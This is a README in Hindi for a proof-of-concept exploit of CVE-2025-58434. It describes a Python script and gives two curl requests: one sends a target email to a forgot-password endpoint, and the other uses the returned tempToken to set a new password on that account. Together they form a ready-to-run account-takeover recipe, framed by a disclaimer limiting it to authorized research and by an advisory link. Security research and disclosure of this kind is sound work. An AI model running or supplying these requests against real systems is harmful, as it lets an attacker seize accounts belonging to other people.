CVE-2025-58434 PoC

Python प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट POST /api/v1/account/forgot-password को ट्रिगर करने के लिए।

⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस उपकरण को उन सिस्टमों के विरुद्ध चलाना जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।

श्रेय

• zaddy6 (Isaac David)
• arthurgervais (Arthur Gervais)

विवरण

• CVE-2025-58434 के लिए PoC
• संदर्भ: https://github.com/advisories/GHSA-wgpv-6j63-x5ph

फ़ाइलें

• poc.py: मशीन URL/IP, बेयर होस्ट/IP उपयोग करने पर वैकल्पिक प्रोटोकॉल, लक्ष्य ईमेल और पासवर्ड के लिए संकेत देता है; फिर अनुरोध भेजता है और curl -i के समान HTTP स्थिति, हेडर और प्रतिक्रिया बॉडी प्रिंट करता है।

उपयोग

चलाएँ:

python3 poc.py

फिर प्रदान करें:

• मशीन URL/IP, जैसे 10.10.11.10, http://10.10.11.10, या https://target.example
• यदि बेयर होस्ट/IP के लिए संकेत दिया जाए तो प्रोटोकॉल
• ईमेल पता
• पासवर्ड

समतुल्य curl

पहला अनुरोध

curl -i -X POST https://<MACHINE_URL/IP>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<[email protected]>"}}'

दूसरा अनुरोध

curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<[email protected]>",
          "tempToken":"<tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'